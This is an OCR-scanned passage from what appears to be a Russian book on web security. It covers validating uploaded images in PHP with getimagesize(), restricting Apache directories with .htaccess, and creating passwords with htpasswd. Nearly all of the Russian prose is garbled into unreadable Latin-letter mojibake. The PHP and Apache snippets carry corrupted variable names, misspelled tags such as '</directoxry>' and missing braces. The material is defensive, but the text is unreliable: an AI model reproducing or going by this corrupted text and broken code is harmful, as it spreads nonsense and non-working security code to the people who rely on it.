A teneps mnonpobyem MnepeMMEHOBaThL MPOCTON TEKCTOBBIN haiil co cueHapuem
B (haitn ¢ pacmupenneM gif U 3akayaem TeM xe cueHapueM. B mepemeHHON type
6yner plain/text. XoTs, cyud MO paclldpeHnio, atoT ¢aiin AomkeH GBITh rpa-
duyeckum, nporpamma "BHAIMT', uTO THM paiina Tekcropsri. Tlonyuaercs, uTo
HeJb3s BEPUTH PaCUIMPEHII0, @ BOT THIY haitna MOXHO AOBEPSTH.

B nuctunre 5.1 moxasan npumMep, B KotopoM TUN (paitna pasbupaercs Ha cocTas-
asiomiMe (10 M mocsie ciasiua), a MoTOM TPOUCXOMMT MPOBEPKA AOCTOBEPHOCTH
pacipenus ¥ tHna. st toro urobel pazbuTh HA YACTH TEKCT, COMEpXAlUiica B
nose TMna ¢aina, yia4Ho noaxoaut dhyHKUNS preg_match() ¢ PEryJsipHBIM Bbl-
paxeHueM '([a-z]+)\/[x\-]1*([a-z]+)'. 3aTeM TNPOMCXOOUT MPOBEPKA MONY-
YEHHOI'0 THIA C MOMOIIBI0 oneparopa switch. Ecim OoH He coOTBeTCTBYET HHM
OIHOMY M3 paspelieHHbIX (COOTBETCTBYIOIHX KAPTHHKAM), TO BBI3hIBAETCS METON
die() IUIs 3aBeplUeHUs] paboThl CLEHapPHs.

<?php
preg_match("' ([a-z]+)\/[x\-]1*([a-z]+)'", Sfilel type, $ext);
print ("<P>$Sext([1]");
print ("<P>Sext[2]");

switch(Sext([2])
{
case "jpg":
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case "jpeg":
case "pjpeg"”:
case "gif":
case "png":

break;
default:

die("<P>This is not image");

if (copy($filel,"/var/www/html/files/".$filel_name))
print ("<P><B>Camplete</B>") ;

else
print ("<P>Error copy file 1</B>");

7>

Ho 3toro HemocrarouHo. HenuiiHe no komupoBaHusi ¢aiina mpoBepuTh pasmep
KapTHHKH. [laxe eciu y Bac HET OrpaHWYeHus Ha pasMep daiina, MoNe3HO Bbi-
3BaTh (DYHKIMIO getimagesize(). DToit dyHKUMK mepenaerca nyTh K daitny,
a B pe3y/JbTaTe MBI MojiydaeM pasMepbl kapTuHKH. Ecnu Bo Bpems ompeneneHus
pasMepa KapTHHKH € TMOMOLIBI0 getimagesize () Mpou3oiger owubka, To BOd-
BpalllaeMblie pasMepsl OynyT pasHbl Hymo. JJoctaTouHo npoBepuTh 060l U3 Ha-
pamerpoB. Eciiu oH paBeH HyJiO, TO B KauyecTse (aiiiia nmepesaHa He KApTHHKA.
Crenylownii mpUMep NMOKA3LIBAET, KAK MOXHO BBITIOJIHUTB IPOBEPKY KOPPEKTHO-
ctH aiina yepes onpeneneHue ero paaMepa:
$im prop=getimagesize($filel);
print ("<P>$im prop[0]x$im prop[1]");
if ($im prop(0]>0)
{

if (copy($filel, "/var/www/html/files/".5filel_name))

print ("<P><B>Complete</B>") ;

else

print ("<P>Error copy file 1</B>");

}
else
die("Image size error")

DyHKUNA getimagesize () BO3BpallaeT MaccHB W3 cBOHCTB rpaduyeckoro ¢aii-
na. B a3ToM MaccHBeE 3NIEMEHTEI HYMEPYIOTCSI C HYJIsl M COIEPXAT Cleayiolee:

O wHpHHA KapTUHKH;
0 BwicOTA;
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O tun, rae 1 = GIF, 2 = JPG, 3 = PNG, 4 = SWF, 5 = PSD, 6 = BMP,
7 = TIFF (¢dopwmar intel), 8 = TIFF (cdopmar motorola), 9 = JPC, 10 = JP2,
11 =JPX;

O crpoka BUIa height="yyy" width="xxx".

Takum obpazom, ¢aiin MOXHO KOMMPOBATH TOJBKO B TOM ClIy4yae, KOrja 3Haue-
HUSl HYJEBOTO M MepBoro aieMeHTa Oonbiie Hyas. KapTHHKa He NOKHA UMETh
IWAPUHY MW BBICOTY PAaBHON HYyMO, WHA4Ye OHA OSCCMBICHEHHA WM CONEPXUT
HEKOPPEKTHbBIE HaHHBIE.

[BoitHasi npoBepka yxe Gonee HanexHa, HO HE SIBISETCS PEIIEHHEM BCEX MpPO-
6nem GezonacHocTH. Hampumep, HemasHo Geuia HaltmeHa olrubka B GYHKLMSIX
onpeneneHusi pasmepa B PHP. Hda, ¢dynxkumit Heckonsko. ns kaxmoro Tuna
caitna ects cBoA (yHKUMSA, HO Bce OHM 0OBEOVHEHBI B ONHY getimagesize().
Ecnu cuexapuio nepenars rpaduveckuit daiin TIFF, B xotopom Gymer ykasan
pa3Mep —8, TO clieHapuii rmomnagaetT B OECKOHEYHBIN LMK W BBIMOJHSETCS, MOKa
He TOIIOTHT BCE pecypchl cepBepa. TakuM obpa3oM, ol xakep moxer 6e3 npo-
BseM npousBecTH artaky otkasa or obcmyxuBanHusi (DoS, Denial of Service).
Owmubka ects ¥ B pyHkuuu obpaborkn JPEG-daiina.

Sl monumalo, yto omwnbka B QYyHKUHH getimagesize() — 3T0 npobiema paspa-
6oryukoB PHP, a He Haulero cueHapus, HO OHA CYIUECTBYET, M 3aKphIBaTh Ha
Hee [Jla3a HeJib3sl, MO3TOMY Halla 3anada — CJIeOUTh 3a 6e30MacHOCTBI0 He TOJb-
KO CLIEHApHUs, HO TaKXKe CepBepa U MCMONb3YeMBIX NMpPOrpaMM H CBOEBPEeMEHHO
obHoBnaTe uX. Kakum Obl GezomacHbiM HM 6GBUI CLieHApPWil, OMAacHOCTh MOXET
HACTMTHYTh HAc C JPYTUX CTOPOH.

5.3. 3anpeTHasa 30Ha

O6HoBnATE HHpOpMaLKIo Ha caifte yepes FTP-KIMEHT ¢ NMOMOILBIO 3aKaYKH HO-
Beix GailyloB mocraToyHO HeyaobHO M He Bceraa Bo3moxHo. Hanpumep, MmHe
MPUXOIUIIOCH BCTpeyaTteesl ¢ ceTaMu, rae mawboi moctyn B HMuTepHer, Kpome
HTTP, Gbin sanpemen, a 3Hauur, FTP-nporokon wHe Obu1 moctymeH. MmeHHO
TOraa i 3alyMajics O NMepBOH cHUCTeMe AIMHHHCTPUpPOBAaHUS caiTom uepes Web-
uHTepdeiic.

CueHapuu aIMUHMCTPUPOBAHMS TMO3BOJSIIOT YNPaBIATE coaepxXuMbiM  Web-
CTpaHK1l, MO3TOMY JOJDKHEI OBITh 3aKPBITHl OT MOCTOPOHHEro Barasaa. s atoro
HeoOXoouMa OTHeNbHAsA 3allMTa, KOTOpas MO3BOJIMUT BaM CNATh CNOKOHHO M He
JIACT XaKepy BBIIOJHHUTH NPUBWJIETHPOBAHHBIE OonepaluM. s 3Toro HaM HYXHBI
3 dekTUBHBIE cpefcTBa ayTeHTU(UKALIMY HaA cepBepe.

5.3.1. Ayrentncpukauma Web-cepsepa

Ecin kakoii-mu6o xaranor Web-cepeepa mo/okeH MMeTh OcoOble rpasa HOCTYIa,
TO MOXHO co31aTh B 3ToM Katanore caitn .htaccess. B arom daitne onucsiBaiores
paspellieHHs, KOTopble NEeHCTBYIOT HA Kataior, rne Haxoautcs artor daitn. TMpu
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obpaweHun K Jobomy daitmy us karanora Web-cepsep Oyner TpeboBaTh ayrer-
mudukaumu. Ja, ayremtudukauun Oyner Tpebosath mmeHHo Web-cepsep, u
B CLIEHApUHM HHUYEro mucarb He Hano. Takum obpasoM, Bbl MOMYYaeTe B CBOE PAC-
nopspkeHne 3GhdeKTHBHBINA U OTIaXEeHHbIH rogamu metos obecrieueHus Gesonac-
HOCTH KOH(HAEHUHATBHBIX TaHHBIX.

Paccmotpum mpumep cozepxkumoro aitna htaccess:

AuthType Basic

AuthName "By Invitation Only"

AuthUserFile /pub/home/flenov/passwd

Require valid-user

B nepeoit cTpoke MBI 3agaeM THIN AyTeHTH(MUKAUUK C MOMOIIBIO AWPEKTHBEI
AuthType. B naHHOM npumepe B KauecTBe ayTeHTH(UKAUMK UcToNb3yeTes Gazo-
Basi — Basic, npH Kotopoit Web-cepBep npn obpailieHHH K Karajory orobpasur
OKHO Ul BBOJAa MMEHM W mnapojis. TeKCT, yKa3aHHBIH B JAWPEKTHBE AuthName,
MOSBHUTCS B 3arojioBke okHa. Ha puc. 5.3 npuBeneH nMpuMep TAKOro OKHa.

Connect to www_vi-online.m

o

Puc. 5.3. OkHO 3anpoca uMeHn u napons

JupekTuBa AuthUserFile 3anaer ¢aiil, B KOTOpoM HaxoauTcsi 6asa UMEH M na-
poneit nons3zoBatesieit caiita. O TOM, Kak co3gaBath Takoit daiin u pabortarh
¢ HUM, MBI rorosopum nosxe. [MocnenHss OIMpeKTHBAa Require B KayecTBe Napa-
METpPa MCIIONb3yeT 3HAYeHWE valid-user. DTO 3HAYMT, 4TO (ailibl B TEKyLieM
KaTaaore CMOTYT OTKPEITH TOJIBKO T€ [MOJIb30BaTeNH, KOTOpEIE MPOLIIH ayTeHTH-
dukaumio.

BoT TakuM NpoOCTHIM croco60M MOXHO 3alpeTHTh HEaBTOPU3OBAHHBIA AOCTYN
K KaTajgory, colepxalleMy CeKpeTHBIEe JaHHBIE WIN CLeHAPUM AIMHHHMCTPATOpA.
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B ¢aitne .htaccess MOryT HaXOIMTHCA M DUPEKTHBBI TUNA allow from. CHavana
TMIOCMOTPUM Ha IPUMEp, a MOTOM YBHIIMM, KaK ero Ucloib30BaThk:

order allow,deny

allow from all

[TepBoe obbABAEHHE 3addeT NMpaBa JOCTYNA K OTpeae/eHHOMY KaTalory Ha JIMCKe
(B nanHoM ciaygae /var/www/html), a Bropoe — orpaHu4YMBaeT JAOCTYIT K BUPTY-
albHOMY Karaiory (B npuBeneHHOM npumepe hitp://servername/server-status).

Tenepb paccMOTpHMM, Kak 3ajaloTcs npasa jpoctyna. Ui 3TOro UCHONL3YIOTCH
cleayiolne IMPeKTUBBI:

O allow from napamerp — ONPEAENsieT, ¢ KAKUX XOCTOB MOXHO MOAYYMTH HOC-
TYN K YKasaHHoMy KaTtanory. B kavecrse napamerp MOXHO HCIOJb30BaTh O-
HO M3 CIEAYIOIIHX 3HAYeHUH!

e all — OOCTYN K KATalory paspellieH BCEM;

® romennoe wMa — OIIPEIENSeT JOMeH, C KOTOPOro MOXHO MONYyYMTh AOCTYI
K katanory. Hanpumep, MoxHo ykasars domain.com. B atoMm ciyuae Tojb-
KO IMOJb30BATE/IH 3TOIo JOMEHA CMOIYT IMOJYYHTH AOCTYIT K KaTajlory 4Yepes
Web. Ecnn kakas-nmbo mamka COAepXHUT OnacHbie (aiibl, ¢ KOTOPLIMH
JOJDKHBI paboTaTh TOMBKO BbI, TO JIy4lle OrPaHUYHUTh IOCTYIT CBOUM JIOMe-
HOM WJIM TOJBKO JIOKATBHON MalluHOM, yKa3aB allow from localhost;

e IP-agpec — CYXaeT JOCTYN K Karagory no onpexaeieHroro IP-ampeca. Do
0YeHb ynob6HO, KOT/IA Y BAIIEro KOMIBIOTEPA €CTh BBUIEJIEHHbI anpec, ¥ Bbl
XOTUTe OBECITeYnTh JAOCTYN K KaTalory, coluepXkaiieMy aIMHHHCTPaTopcKue
CIIEHAapUH, TONBKO UIsl cebs. Anpec MOXET 6bITh KaK MMOJTHLIM, TaK ¥ HEMNOJ-
HBIM, YTO [TO3BOJISIET OrPAHHYHTE JOCTYIT K KATAIOTY ONPENEIeHHOI CeThIO;

* env=HMmallepemenHoin — JJOCTYIl pa3peileH, €CJiH ONpelcjeHa YyKadaHHasd
NepeMEHHaa OKpPYXXeHHA. Tonuwiit opmar JUPEKTHBBL. allow £rom
env=iMmallepeMeHHON’,

0 deny from napamerp — 3aTipeliieHue JOCTYNAa K ykasanHomy karaiory. Ila-
paMmeTpbl TaKue Xe, KaKk y KOMaHIbl allow from, TOABKO B JAHHOM ciy4yae
3aKpbIBAETCS OCTYN [UIA YKA3aHHBIX allpecoB, JOMEHOB U T. [}

0 order napamerp — OYEPEOHOCTb, B KOTOPOH MPUMEHSIIOTCS AUPEKTHBBI allow
U deny. MoxeT ObITH TPH BapHaHTa:

¢ order deny, allow — HM3HAYAIBHO BCE pa3pelleHO, MOTOM MMPpHMEHSIOTCA
3aMnpeTsl, a 3aTéM paspelucHHs. PCKOMCHJIYCTCH HCTIONB30BATHL TOJBKO IS
0BIIMX KATAJIOroB, B KOTOpPhIE TMOJIL30BaTEIM MOFYT CAMOCTOATENBLHO 3aKa-
yuBarth (aityibl, HANpUMep, CBOU H300paKeHNs;

e order allow, deny — CHayaja BCE 3anpeilleHo, BCAEN 3a 5TUM TIPUMEHs-
I0TCS paspelieHHsi, 3aTeM 3anpelueHus. PekoMeHmyercsi NpUMEHSTH UIS
BCEX KATAIOrOB CO CLIEHAPUSIMMU;
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¢ order mutual-failure — H3HAYATLHO 3aNpelleH AOCTYN BCEM, KpOME
MepevyrcieHHbIX B allow U B TO Xeé BpeMsi OTCYTCTBYIOIUUX B deny. Cose-
TYIO YKa3plBaTb 3TOT BAPHUAHT Ul BCEX KAaTaJIOrOB, II€ HAXOIATCH QJaﬂJH:{,
WCIOJIb3YEMblE OIpeNeeHHBIM KPYroM JiMil, HanpuMmep, aIMWHUCTPATOp-
CKHE CLIEHAPWH;

0O Require napamerp — MO3BOJISIET 3alaTh IMOJIk30BaTeNe, KOTOPEIM paspelleH
HDOCTYI K Karanory. B xavecrse nmapameTpa MOXHO YKA3bIBaTh:

* user — WMeHa rnosb3opareneit (i ux ID), koTopbiM paspelieH HOCTyM
K Karanory. Hanpumep, Require user robert FlenovM;

® group — HA3BaHWS TPYINI, TOAb3OBATEISAM KOTOPBIX pa3pelieH A0CTyM
K Karanory. [lupekrisa paboraer Tak xe, KaK U user;

* valid-user — JOCTYN K Karajory paspeuieH Jio6omy ayreHTH(HLMPOBAH-
HOMY ITOJIb30BATEIO;

O satisfy napamerp — €CJM YKa3aTh 3HaYeHHE any, TO Ui OrpaHH4YEHHA HOC-
Tyna HCIONB3YeTCsl WIM JIOTMH/mapons, uian IP-ampec. s uneHTHdUKALIMKA
TI0JIb30BATEJIA [0 JABYM YCIIOBUSM OIHOBpEMEHHO HAIO 3a1aTh all;

0O AllowOverwrite napamerp — ONpeeNnsieT, Kakue AUPEKTHBB M3 daiia
Jhtaccess B ykasaHHOM Karajlore MOTYT mepeKpeiBaTh KoHpurypaumio Web-
cepsepa (koHcburypaumio u3 caiuia httpd.conf mia cepsepa Apache). B kaue-
CTBE napamerp MOXHO YKa3aTb OIHO M3 CJIEAyIOUIMX 3HAYEHWii: None, All,
AuthConfig, FileInfo, Indexes, Limit U Options;

O options [+ | -] napamerp — ONPEAEISIET BO3MOXHOCTH Web-ccpaepa, KO-
TOpBIE OOCTYNMHBI B HaHHOM Karaiore, Eciu y Bac ecTh Karajaor, B KOTOPbIH
MOJIb30BATE/AM Pa3pellieHo 3aKauMBaTh KAPTHHKH, TO BIOJHE JIOTHYHBIM AB-
JIfieTCA 3arpeT Ha BBEIMOJIHEHWE B HEM oOwix ciieHapueB. He Hano Hanestses,
YTO BBl CYMEETe MpPOrpaMMHO 3aMpeTHTh 3arpy3Ky mobwix ¢ailnos, Kpome
nsobpaxennii. Xakep MoXeT HalTH crioco6 3akayarh 3/IOCTHBIN KOO W Bbi-
TOJIHUTE ero B cucteme. C MOMOILBIO ONMIMNA MOXHO cIeNnarh Tak, 4Tobbl clie-
Hapuii He BeIMoNHUICH Web-cepBepoM.

Wrak, nocne KIoyeBoro cj10Ba MOXHO CTABUTh 3HAKHU IUTIOC WIM MUHYC, 4TO
COOTBETCTBYET Pa3pellieHHIo Wi 3anpeuleHuio onuuu. B kavecTsBe napamerp
YKa3bIBAETCS OJIHO M3 CENYIOUINX 3HAYCHMIA:

e a1l — Bce, kpome MultiView. Ecnu ykasarh CTpoKy Option + All, TO
B JaHHOM Katayiore OyayT paspeiieHsl jobble aeifcteus, kpome MultiView,
KOTOPBLIii 3a1aeTC OTHEILHO;

* ExecCGI — paspewieHo BeinmonHeHue CGl-cuenapues. Yauie Bcero, mwis
3TOro MCIONb3YeTcs OTAENBHBIN Katanor /cgi-bin, HoO M B HEM MOXHO OI1-
PeNeauTh OTAEbHbIE KaTAJIOIH, B KOTOPBIX 3aMpelieHO BBIMOIHEHHE;

e FollowSymLinks — TO3BOJISIET MCITOJNIb30BATh CHMBOJIbHBIE CCBIIKH. Y0Oe-
IOHMTECh, YTO B KATAJIOre HET OMACHBIX CCHUIOK, H HUX Ipasa He U30BITOYHEI.
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MbI yxe roBopwiH B pasdese 3.1.3 0 TOM, YTO CCBUIKM camu o cefe omac-
HBI, TIO3TOMY ¢ HUMM HYXXHO obpalarscs akKypatHo, rje 661 oHM HM GbLTH;

SymLinksIfOwnerMatch — CJ€OBaTh MO CHUMBOJBHBIM CCHUIKAM, TOJIBKO
ec/Ii BRanesblil 1enesoro daina u ceelikM cosnanaior. Ilpu menons3osa-
HHUM CUMBOJNBHBIX CCBUTOK B JAHHOM Katajore jydille yKas3aTh 9TOT napa-
MeTp BMECTO FollowSymLinks. Eciu Xxakep cMOXeT co31aTh CChUIKY Ha Ka-
tTajor /fetc u npocaegyer mo Heil u3 Web-Gpaysepa, TO BO3HUKHYT
cepbesHble npobiemsl B Ge3onacHocTH;

Includes — ucnonb3oBars SSI (Server Side Include, moakmioveHwe Ha
cepsepe);

IncludesNOEXEC — Mcnoiib3oBath SSI, KpoMme exec u include. Eciim BHI
He ucnonb3yere B cueHapusax CGI 31H KoMaHIsl, TO JaHHas OMLUS SABJIS-
eTCsl MPeANOYTUTENIbHEE TIPebIAYILeit;

Indexes — OTOOPA3HTh CITMCOK CONEPXMMOrO KaTajora, €Cin OTCYTCTBYET
¢aiin mo ymonyanuio. Yaute Bcero, moiab3oBaTenu HabupaioT ampeca B yKO-
poueHHoM ¢opmare, Hanpumep, www.cydsoft.com. 3aecs He ykasaHn daitn,
KoTopblit HyxHo 3arpy3utb. [Toansni URL seirmaour kak www.cydsoft.com/
index.htm. B mepBoM BapuanTe cepsep cam wuuier $aia Mo yMONIYaHMIO
M OTKpbIBaeT ero. Dro Moryr 6wiTh index.htm, index.html, index.asp wiu
index.php, default.htm u 1. 1. Ecnu HY ofuH M3 Takux ¢ailioB 1mo ykasaH-
HOMY TYTH He HaliieH, TO NpH BKIJIIOYEHHOH OMUMK Indexes Oyner BbI-
BeIEH CIMCOK CONepXHMOro Karajiora, HHaue — CTPaHMUA OMMOKH.
Sl peKOMEHAYIO OTKIJIIOYATDH 3TY ONLMIO, MOTOMY YTO 3NOYMBIIUIEHHMK MO-
XeT MOJYYUTh CAMIIKOM MHOro MH(pOpMALMM O CTPYKTYPE Karaaora U €ro
COIEPXKUMOM,;

MultiViews — [IpeACTABIEHHE 3aBUCHUT OT MPENITOYTEHNH KIHeHTa.

IlpaBa gocTyna MOryT ONpeAessiThCs HE TOJNBKO Ha KATANOTH, HO M Ha OTAE/NbHbIE
daiutsl. DTO ONMUCAHME PACITONIATACTCSA MEXILY ABYMS CHAELYIOLIMMHA CTPOKAMH:

<Files Muadaina>
</Files>

Hanpumep:

<Files "/wvar/www/html/admin.php">
Deny from all

</Files>

JupexTussl st daiina Takue Xe, Kak U Ui Katanoros. To ecth B JaHHOM TpH-
Mepe K moakaranory /var/www/html paspewieH JOCTYN BCEM IOJNB30OBATENsAM,
a K ¢aiiny /var/www/html/admin.php u3 sToro Karajnora sanpeiies gocryn abco-
JTIOTHO BCEM.

[MoMumo aiiyloB M KaTamoroB, MOXHO orpaHumuuMBate ¥ Metoast HTTP-
IPpOTOKONA, TAKKHE KAK GET, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH,
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PROPFIND, PROPPATCH, MKCOL, COPY, MOVE, LOCK, UNLOCK. ['me Tyr cobaka 3apni-
1a? JlonycTUM, YTO Y Bac €CTh CHEHApHil, KOTOPOMY IOJIb30BaTENb NOJKEH Mepe-
JaTh napaMeTpel. DTo Jenaercsi OIHWM U3 METOI0B POST WK GET. Eciu Bbi 3ase-
JIOMO 3HAETe, 4TO MPOrpaMMMUCT MCIONb3YET TOJBKO METOJ GET, TO 3alpeTHTe BCe
ocTalbHbIE, YTOOBl Xakep He CMOT BOCIOJIB30BATLCS MOTEHUMAIBHON YSI3BUMO-
CTBIO B CLICHADUH, U3MEHHB METO.

BriBator BApHAHTHI, KOTa HE BCEM MOJIB30BATE)ISAM NOJDKHO OBITH MO3BONEHO OT-
NpasisaTh JaHHBIe HA ceppep. Hampumep, clieHapuyd B ONpeHe/IeHHOM KaTtajiore
MOTryT OBITH HOCTYMHBI ISl UCMOJNHEHMSI BCeM, HO 3arpyxarb vMHdopmaumio Ha
cepeep MOTYT TOJBKO aIMHHUCTPAToOphl. 3Ta npobiiemMa JIerKo pelaercsl ¢ MoMo-
IBIO pa3rpaHWYeHus TPaB UCIIONIb30BaHus MeTonoB nporokona HTTP.
ITpaBa Ha MCITOJIL30BAHUE METONOB OMMCHIBAIOTCH CASAYIONIMM obpasoM:
<limit MmsMeTona>

Mpasa
</limit>

Kak Bupnte, 5TOT MPOLIECC CXOX € onucaHuem paspemeHni Ha daiasl. K mpu-
MEepy, TaK MOXHO 3alpeTnTh Jobyio nepegavy TaHHbBIX HA cepBep:
<Limit GET POST> '
Deny from all
</Limit>

B manHOM mpHMepe 3anpelianTcs METONbl GET U POST.

Bawa 3anaya — ykasath Takue MapaMeTpsl JOCTyna K Karajoram u daitiam, npu
KOTOpBIX OHU OyayT MHHUMAIbHO HOCTATOYHBIMH. Y IOJB30BAaTENs HE HOIKHO
6BITh BO3MOXHOCTH CHE/NATH XOTA Obl ONMH JAWiHMI war. s peanusaiuu 31oro
BBI IOJDKHBI IefiCTBOBATH 1Mo npasuiy "Yro He paspelieHo, TO 3anpelieHo”.

Sl Bcerma cHavana 3aKpeIBAl0 BCE, YTO TOJBKO MOXHO, M TONBKO TOTOM MOCTE-
NMEeHHO CMSTYal mpasa, yToObl Bce cleHapuu Hayanu paborats BepHo. Jlyuie
JMUIHUI pa3 mpomucarh ABHLI 3arpeT, YeM MOTOM YNYCTUTh pa3pellieHue, KoTo-
PO€ MO3BOJIUT XaKEPY YHUUYTOXHUTH Mot CEpBEp.

Eciu HyXHO paspeurnTs HOCTYN TONBKO ¢ onpenenexHoro IP-ampeca, To B (aiire
MOJXKET CONEPXKATbCA CJIEAYIOLIAsl CTPOKA:

allow from 101.12.41.148

Ecnu 3amuTy IMpekTHBOi allow from oObeIHHHTH ¢ TpeOOBAaHWEM BBECTH [1a-
poJib, TO 3ajaya Xakepa Mo B3JIOMY CEpBEpa CHJIBHO YCIOXKHHUTCH. 3/IeCh VXKE
HEeIOCTATOMHO 3HAHHMS Maposs, Heobxoaumo umeTs KoHKpeTHHIN [P-ampec juis
obpalleHusl K COIepPKUMOMY KAaTalnora, a 37o Tpebyer 3HAYMTE/IbHBIX YCHIIUNA.

DTH XKe napaMeTpbl MOXHO yKasbiBaTh U B daitre httpd.conf, Hanpumep:
<directory /nyTe>

AuthType Basic

AuthName "By Invitation Only"
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AuthUserFile /pub/home/flenov/passwd
Require valid-user
</directoxry>

Yem Oyzere nosnb30BaTHCS BBI, 3aBHCUT OT JIMYHBIX TPEANOYTEHUH ¥ JOCTYMHBIX
sosMoxxHocTeH. Ecoiu y Bac HesbuieneHHbIit cepBep B MHTepHere, To KOHGUTypa-
uuoHHE daitn Web-cepeepa httpd.conf, ckopee Beero, He Gyner nocTyneH.

B mo6om ciyuae, MHe Bosbiiie Hpasutcst paborats ¢ daitiom -htaccess, rmoromy
4TO HAcTPOWKM 6e3oracHoCTH OYIYT XpaHUTLCS B TOM Xe KaTtalore, HA KOTOpPBIi
ycraHapiauBatotcs npasa. Ho pabora ¢ HUM HebesonacHa, 1MOTOMY YTO X4Kep MO-
KET TIPOYMTATH ITOT (paijl, Yyero Bbl, KOHEYHO, He XortuTe. Mcnonb3oBaHue LieH-
Tpain3oBaHHoro ¢aina httpd.conf naer npeMMylIecTBa, T. K. OH HaXOMUTCS
B Karajore /etc, KOTOphIif He BXOAMT B KopeHb Web-cepBepa u 10/DKeH GbITh 3a-
TIPeLeH Uisi TPOCMOTPa TOJIb30BATEIAM.

Teneps HaM MPENCTOMT y3HATH, KAK co3mawotcs Gaiiisl maponeit U KaKk uMmu
ynpapisaTs. JIupekTnBa AuthUserFile yKasbiBaeT Ha paiin, xpansiunii uHdopma-
MO O MO/Ib30BATE/SIX B NMPOCTOM TeKcToBoM ¢opmare. Tam comepxarcsi CTPOKH
ClIeyIOLEro BUaA:

flenov: {SHA}1ZZEBtPyd /gdHsyzt JUENbOAS0E=

B s1oit 3anucK aBa napamerpa, pasaesieHHBIX HBoetouneM. CHayana yKasaHo UMsi
NOJIK30BaTeNsl, a Moc/e Pa3NeNuTeNIsi CTOUT 3aiudpoBaHHbIA Mo airoputMy MDS5
napoib. PopMupoBaTh Takol haii BpyuHYO CiokHO (ocobenHo cloxho Oyner
Hamucarp 3auQpPOBAHHBIN Napoib BPYYHYIO) U BGECCMBICIEHHO, MO3TOMY TSI
obmeryeHus1 XKU3HH AIMUHUCTPATOPOB cyliecTByer yrunuta htpasswd u3 nakera
Web-cepsepa Apache. C noMouibio 3Toit nporpaMmsl cosgaiotest 1 o6HoBASIOTCS
UMeHa W napomu ana  6asoBoil  ayrentTudukaumu  Web-cepsepom HTTP-
[1OJIL30BATENEH.

Y106cTBO MPOrpaMMBI COCTOMT B TOM, YTO OHA MOXET MdpoBaTh Napoiu U 1o
anroputMy MDS5, u ¢ moMombio cHCTEMHOM (YHKIMH crypt (). B ogHOM daiine
MOTYT HaXOAMUThCS 3aMUCH ¢ 0GOMMHU THITAMU TTapoJiei.

Ecnu BBl XpaHuTe MMEHa U mnaponu B dopmare 6assl naHHbx DBM (mns ee yka-
3anus B aitne .htaccess wcnonab3yercss AUPEKTUBA AuthDBMUserFile), TO [UIS
YIIpaBIeHUsl €10 HYXXKHO NPUMEHATh KOMaHAy dbmmanage.

Jasaiite obcyaum, KaK nons3osarses nporpammoit htpasswd. O61umit BUI BeI3oBa
KOMaHIbl BBITJSANT CeAyIolnM obpasom:

htpasswd napameTput Dain MMA naponks

[Mapons u uMs daiina sABNSIOTCA HeoOA3ATENbHBIMH, U WX HATMYME 3ABUCHT OT

YKa3aHHbIX onuuii. PaccMoTpiM OCHOBHBIE KIIIOUH, KOTOPLIE HAM HOCTYIHAL:

(0 -c — co3parb HoBeIH Gaitn. Ecnn ykaszaHHbIi ¢aitn yxKe cylulecTByeT, TO OH
Tiepe3anuchiBaeTcsl, a cTapoe comepxumoe tepsiercsi. [IpiMep Mcronb3oBaHus
KOMaH/IbI:

htpasswd -c¢ .htaccess robert
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TMocne BeIMOMHEHUS ATOW AUPEKTHBHI Mepen BaAMM TIOSABUTCH TpUITalleHne
BBECTH TMapojib Uis HOBOTO MMojib3oBartens robert ¥ moaTBepauTh ero. B pe-
synprate Oyner co3maH caiin .htaccess, B xoTopoM Oyner oiHa 3amuch Ui
NoJIb30BaTeNs robert ¢ ykasaHHBIM BaMHU NApOJIeM;

0O -m — ucnons3oBaTh MoaudUIMpPoBaHHBIH Apache anroputv MDS5 mis mapo-
neil. DTO MO3BOJIMT TMEpPEeHOCHTh co3faHHbIi daitn Ha mobyio Apyryio naar-
¢dopmy (Windows, Unix, BeOS u 7. n.), rne paboraer Web-cepsep Apache.
Takoit ko4 ynobeH, eciu y Bac pasHOpOIHas ceTh, H oouH (alin ¢ napois-
MM MCIIONB3YETCS Ha pasHbIX cepBepax;

O -d — wia mudpoBaHUs NMPUMEHUTh CHCTEMHYIO QYHKIMIO crypt ()}

O -s — npumenuts SHA-mmndposanne (Ha 6a3e anropuT™ma KIILIHPOBAHWMS),
KOTOpOE ucnoib3yercs: Ha ruargopme Netscape;

0O -p — He wudpoBars nMapoau. Sl He peKOMEHIYI0 yCTAHABIWBATL 3TOT Gar,
NOTOMY 4TO OH HebesonaceH;

O -n — He BHOCHTb HHKAKHUX M3MEHEHMIH, a TOJIbKO BBIBECTH Pe3ybTaT Ha 3KpaH.

Hna no6GasneHUs HOBOTO 10O/Ib30BATE/SI MOXHO BBIMOMHHUTHL KoMaHIy 0Oe3 ykasa-
HUsI KIIOYEH, a mepesarb B KAYeCTBE I1apaMeTpoB TOJMBKO MMeHa daina U mois-
30BaTes:

htpasswd .htaccess Flenov

Y xomaHabl htpasswd ECTh 1B OTPAaHHYEHMS: B UMEHH [10JIb30BaTeNsl HE MO/LKHO
6BITH CHMBOJIA ABOETOYMS, M MAapoib HE MOXET NpeBbuuars 255 cuMBojioB. Oba
YCJIOBUSl JOCTATOYHO NEMOKPATHYHBI, # C HUMHM MOXHO CMUpUThCs. Hukro u3
MOMX 3HAKOMBIX ITOKa €lIE¢ HEe 3axX0oTeJl YCTAHABIMBATHE TAKOW JUIMHHBIA Mapolb,
a 3a/eiicTBOBATH JIBOETOYME B MMEHHU MOJIb30BATE/IA PEAKO KOMY MPUXOMHT Ha VM.

Ayrentudukanusa Web-ceppepa — CHMIIKOM NpOCTOH criocob obecrieveHus
GesonacHoctu. Ilpu nepemaye napoau wUpPYOTCS MPOCTHIM KOIWPOBAHMEM
Base64. Ecnu xakep cMOXeT MepexBaTuTh MakeT, CONEPXallui UM NoJib3oBaTens
M Maposib, TO OH MPOYMUTAET 3TY HHPOPMALHIO 32 NATh ceKyHa. s pacindpos-
kn Base64 He HyXHO moabupaTh Mapojib, AOCTATOYHO NMPUMEHWUTb OAHY (yHK-
LIHI0, KOTOpas BBINOJHAET NeKOAUPOBaHWE NMPaKTH4YeCKH MOMEHTANbBHO.

s cosnaHusa peansHo Ge3zonacHoOro coeiWHeHusi HeoGXoNMMO cHavaNa 3aulud-
poBath Bechb Tpaduk. [I1a 3TOro MOXET MPUMEHATHCA TYHHeIMpoBaHHe Tpaduka
(Tpadhuxk mepenaercs yepes KaHa, MWHOPYIOLUIMA NaHHBIE) WM YXKE€ TOTOBLIN
npotokon HTTPS, koropsiit uenoas3yer nporokos SSL.

5.3.2. 3awmra cueHapues npasamu gocryna
cepsepa Apache

